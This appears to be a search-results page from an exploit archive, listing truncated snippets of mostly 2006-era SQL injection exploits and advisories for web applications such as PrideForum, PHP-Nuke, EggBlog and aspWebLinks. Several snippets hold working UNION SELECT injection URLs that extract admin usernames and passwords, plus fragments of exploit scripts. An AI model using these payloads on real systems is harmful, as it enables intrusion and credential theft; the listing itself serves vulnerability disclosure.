3859 matches found
DataLife Engine <= 4.1 Remote SQL Injection Exploit (php)
Exploit for unknown platform in category web applications ========================================================= DataLife Engine Lite Version for DLE '; if $argc table prefix\n"; print " ex.: " . $argv0 . " datalife.engine.net admin\n"; credits; exit; //DEFINE USER ID $urla = 'http://' . $argv...
WeBBoA Host Script 1.1 Remote SQL Injection Vulnerability
No description provided by source. There is Sql injection WeBBoA Host Script v1.1 Risk=High Exploit: http://SITE/?islem=hostsatinal&id=-1%20%20union%20select%200,1,2,kuladi,4,5,6,7,sifre%20from%20members+where+uyeid=1 Credit: EntriKa milw0rm.com 2006-06-19...
CVE-2006-3013: Undefined Security Weakness
Interpretation conflict in resetpw.php in phpBannerExchange before 2.0 Update 6 allows remote attackers to execute arbitrary SQL commands via an email parameter containing a null %00 character after a valid e-mail address, which passes the validation check in the eregi PHP command. NOTE: it could...
PHP-Nuke Download Module Remote SQL Injection
================================== Fund By:BuNy-m Special for Site:www.alshmokh.com E-mail:[email protected] ================================== Example: /modules.php?name=Downloads&dop=viewdownload&cid=220UNION20select20counter,20aid,20pwd20FROM20nukeauthors20...
ewsEngine <= 1.5.0(newscomments.php) Remote SQL Injection Vulnerability
Title : NewsEngine = 1.5.0newscomments.php Remote SQL Injection Vulnerability Author : ajann Vulnerability; $$$ http://target/path/newscomments.php Example: $$...
Particle Wiki <= 1.0.2 (version) Remote SQL Injection Vulnerability
No description provided by source. Particle wiki = 1.0.2 Remote SQLInjection - Username/Passwordhash Extractor Thanks to UNSECURED SYSTEMS : http://pridels.blogspot.com/2006/06/particle-wiki-sql-inj.html Exploited by FarhadKey from http://www.kapda.ir Username :...
ProPublish 2.0 (catid) Remote SQL Injection Vulnerability
Exploit for unknown platform in category web applications ========================================================= ProPublish 2.0 catid Remote SQL Injection Vulnerability ========================================================= ProPublish 2.0 catid Remote SQL Injection Vulnerability Thanks to...
ProPublish 2.0 - catid SQL Injection
ProPublish 2.0 - catid SQL Injection ProPublish 2.0 catid Remote SQL Injection Vulnerability Thanks to soot : http://www.securityfocus.com/archive/1/435787/30/0/threaded Exploited by FarhadKey from kapda.ir Exploit :...
aspWebLinks 2.0 Remote SQL Injection / Admin Pass Change Exploit
!-- Title : aspWebLinks 2.0 Remote Admin Pass Change Exploit and links.asp SQL Injection Author : ajann Dork : aspWebLinks 2.0 SQL INJECTION: http://target/path/links.asp?action=reporterror&linkID=22120union20select+0,administrativepassword,0,0,0,0,0,0,0+from+config -- titleAspWebLink 2.0 Remote...
aspWebLinks 2.0 Remote SQL Injection / Admin Pass Change Exploit
Exploit for unknown platform in category web applications ================================================================ aspWebLinks 2.0 Remote SQL Injection / Admin Pass Change Exploit ================================================================ AspWebLink 2.0 Remote Admin Pass Change...
Advisory: ASPSitem <= 2.0 Multiple Vulnerabilities.
--Security Report-- Advisory: ASPSitem = 2.0 Multiple Vulnerabilities. --- Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI --- Date: 27/05/06 08:26 PM --- Contacts: ICQ: 10072 MSN/Email: [email protected] Web: http://www.nukedx.com --- Vendor: ASPSitem http://www.aspsitem.com Version: 2.0 a...
CosmicShoppingCart (search.php) Remote SQL Injection Vulnerability
Software: CosmicShoppingCart www.cosmicphp.com Risk: Medium Discovered by: Vympel Marcelo Almeida Background: CosmicShoppingCart is a PHP / MySQL e-commerce system. It is a fully customizable, shopping cart designed. SQL injections have been found, they could be exploited by users to retrieve the...
CosmicShoppingCart (search.php) Remote SQL Injection Vulnerability
Exploit for unknown platform in category web applications ================================================================== CosmicShoppingCart search.php Remote SQL Injection Vulnerability ================================================================== Software: CosmicShoppingCart...
Enigma Haber <= 4.3 Multiple Remote SQL Injection Vulnerabilities
No description provided by source. Enigma Haber = 4.3 Multiple Remote SQL Injection Vulnerabilities Contacts ICQ: 10072 MSN/Mail: [email protected] web: www.nukedx.com This exploits works on Enigma Haber = 4.3 Original advisory can be found at: http://www.nukedx.com/?viewdoc=34...
EggBlog < 3.07 - Remote SQL Injection / Privilege Escalation
http://site/EggBlog/rss/posts.php?id=1'//UNION//SELECT//0,concat'Username:%20',username,concat'Password:%20',password//from//eggblogmembers/ This SQL injection will list you all users and passwords. -- Eggblog 2.x Remote Privilege Escalation .xpl font-family:tahoma; font-size:11px; text-decoratio...
PrideForum 1.0 (forum.asp) Remote SQL Injection Vulnerability
Exploit for unknown platform in category web applications ============================================================= PrideForum 1.0 forum.asp Remote SQL Injection Vulnerability ============================================================= Title : PrideForum 1.0 forum.asp Remote SQL Injection...
PrideForum 1.0 (forum.asp) Remote SQL Injection Vulnerability
No description provided by source. Title : PrideForum 1.0 forum.asp Remote SQL Injection Vulnerability Author : ajann Exploit Example: http://target/path/forum.asp?HID=1%20union+select+0,0,ID,JUser,0,0,0,JPass,ID,0+from+adminlogins+where+ID=1&Name=Allm%E4nt milw0rm.com 2006-05-27...
PrideForum 1.0 - forum.asp SQL Injection
PrideForum 1.0 - forum.asp SQL Injection Title : PrideForum 1.0 forum.asp Remote SQL Injection Vulnerability Author : ajann Exploit Example: http://target/path/forum.asp?HID=1%20union+select+0,0,ID,JUser,0,0,0,JPass,ID,0+from+adminlogins+where+ID=1&Name=Allm%E4nt milw0rm.com 2006-05-27...
PrideForum 1.0 - 'forum.asp' SQL Injection
Title : PrideForum 1.0 forum.asp Remote SQL Injection Vulnerability Author : ajann Exploit Example: http://target/path/forum.asp?HID=1%20union+select+0,0,ID,JUser,0,0,0,JPass,ID,0+from+adminlogins+where+ID=1&Name=Allm%E4nt milw0rm.com 2006-05-27...
DeluxeBB <= 1.06 (name) Remote SQL Injection Exploit (mq=off)
Exploit for unknown platform in category web applications ============================================================= DeluxeBB SERVER: $server\r\n"; print " DIR: $dir\r\n"; print " USERID: $user\r\n"; print...